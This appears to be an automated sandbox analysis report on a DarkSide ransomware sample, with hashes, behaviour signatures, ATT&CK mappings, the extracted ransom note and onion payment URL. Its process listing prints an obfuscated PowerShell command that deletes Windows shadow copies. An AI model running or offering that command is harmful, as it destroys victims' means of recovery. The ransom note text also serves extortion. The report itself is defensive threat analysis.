Overview

overview

10

Static

static

bac2149254...e0.exe

windows7_x64

10

bac2149254...e0.exe

windows10_x64

10

Analysis

  • max time kernel
    122s
  • max time network
    141s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    31-01-2022 05:58

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General

  • Target

    bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe

  • Size

    59KB

  • MD5

    c2764be55336f83a59aa0f63a0b36732

  • SHA1

    0bfc26e7a035a143339516b877ac11eefbbeefb5

  • SHA256

    bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0

  • SHA512

    9c413793996c48c4c9e092e8c09810712c84dc64288515b64acc7108671071283e8dc4b3d782befd9cbf04bd0db0fb61c8986b429eec5b748722910455d399fa

Score
10/10
darksideransomwarespywarestealersuricata

Malware Config

Extracted

Path

C:\\README.27a6f0b5.TXT

Family

darkside

Ransom Note
----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/FNKSGXL6YM3ZOHUB9WRBMPZDFXUG0DSF5M61SMYGU4V8R8OOJ6AKQ2VF4BGHSE1O When you open our website, put the following data in the input form: Key: gCoPnSlnktkrWjSo2qV2Cux3LTH5Qasj3REEJd8OrQTCBAG5Qg5oIWnuVvmJXiOC87UkymiPDopm1FeU8EBdqWJgIZzXZSdONaVQ5vOE7SRq4wjMeJYchs6sc3wkIBD7f9egxBhkFw7uY1uiaQrtgdKZYDE7da5sPfGrsA4nGvRhgn9ym1ua62zbml9IUOKIsXiiT4N09WagMxlEtp7a5wAqmktBVMhC5rL9M8F3gQzdSxoMwMjsHX6ExWuBjt8uHFxo1GsBgXK3GwKaZJuZKFTbc0YCdCHcUrcLDR0hflakpHBm9uRNU406NXEvRMW22L0iDCb37wNlbsVhIQHeOpcEvMEcHBXJNo08ZchjjApCrCd2dmVDCB9E02QL9nZFLYY2s8bJzXT3DN6X142KteSm0lPAs2Yf2TnjPExPEGY8E2w2D1g4cYpAfkGuzWDgKkHICDls0qhiVLLrP6c7Khrz3tNYkWWhJRcLL4BRdgvlNkcTweAfuYUOlV2zzcVgEMrAp1uBgEj0Bo92NhZ0tUnVvPBqigh7hYXGo8MjnJJYGDocnrC20Ei !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidfqzcuhtk2.onion/FNKSGXL6YM3ZOHUB9WRBMPZDFXUG0DSF5M61SMYGU4V8R8OOJ6AKQ2VF4BGHSE1O

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

    ransomwaredarkside
  • suricata: ET MALWARE Observed DarkSide Ransomware CnC Domain in TLS SNI

    suricata: ET MALWARE Observed DarkSide Ransomware CnC Domain in TLS SNI

    suricata
  • Modifies extensions of user files 6 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Modifies Control Panel 1 IoCs
    evasion
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe
    "C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe"
    1⤵
    • Modifies extensions of user files
    • Sets desktop wallpaper using registry
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:732
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1548
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:972

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1
T1112

Credential Access

Credentials in Files

1
T1081

Discovery

Lateral Movement

Collection

Data from Local System

1
T1005

Exfiltration

Command and Control

Impact

Defacement

1
T1491

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    MD5

    e20fb51760527cc6f1a87b3a4acdb8bc

    SHA1

    9b617856ada67a2f8ce936a04323aac5b8ae310d

    SHA256

    3ea9b863617c7b9f263d0d929280a70f4a922a97d9237d56905e20a521f07a9e

    SHA512

    83ac1fbbcf25ed648f3fca346acf7428f8f624010b97ede3ab9baa2d2c188ea3f25ea9133e86eb32d3fc93431cb84a6fe81715f3c7ae9beb89d467c19087de40

    Download Submit
  • memory/732-55-0x00000000763B1000-0x00000000763B3000-memory.dmp
    Filesize

    8KB

    Download
  • memory/1548-56-0x000007FEFC241000-0x000007FEFC243000-memory.dmp
    Filesize

    8KB

    Download
  • memory/1548-58-0x00000000028F0000-0x00000000028F2000-memory.dmp
    Filesize

    8KB

    Download
  • memory/1548-59-0x00000000028F2000-0x00000000028F4000-memory.dmp
    Filesize

    8KB

    Download
  • memory/1548-60-0x00000000028F4000-0x00000000028F7000-memory.dmp
    Filesize

    12KB

    Download
  • memory/1548-57-0x000007FEF29B0000-0x000007FEF350D000-memory.dmp
    Filesize

    11.4MB

    Download
  • memory/1548-61-0x00000000028FB000-0x000000000291A000-memory.dmp
    Filesize

    124KB

    Download